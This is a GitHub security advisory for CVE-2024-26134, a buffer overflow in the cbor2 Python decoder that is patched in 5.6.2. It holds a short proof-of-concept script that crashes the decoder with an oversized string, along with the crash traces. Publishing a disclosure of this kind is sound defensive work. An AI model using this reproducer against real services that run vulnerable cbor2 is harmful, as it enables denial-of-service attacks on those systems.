Skip to content

Potential buffer overflow in CBOR2 decoder

Moderate
agronholm published GHSA-375g-39jq-vq7m Feb 19, 2024

Package

pip cbor2 (pip)

Affected versions

>5.5.1

Patched versions

5.6.2

Description

Summary

Ever since #204 (or specifically 387755e) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)

Details

PoC

import json
import concurrent.futures
import cbor2

def test():
    obj = "x" * 131128
    cbor_enc = cbor2.dumps(obj)
    return cbor2.loads(cbor_enc)

with concurrent.futures.ProcessPoolExecutor() as executor:
    future = executor.submit(test)
    print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
  File "test.py", line 14, in <module>
    print(future.result())
  File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
    return self.__get_result()
  File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
    raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.

If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.

import json
import cbor2

def test():
    obj = "x" * 131128
    cbor_enc = cbor2.dumps(obj)
    return cbor2.loads(cbor_enc)

print(test())
Traceback (most recent call last):
  File "test.py", line 12, in <module>
    print(test())
  File "test.py", line 9, in test
    return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error

Impact

An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.

Severity

Moderate

CVE ID

CVE-2024-26134

Weaknesses

No CWEs

Credits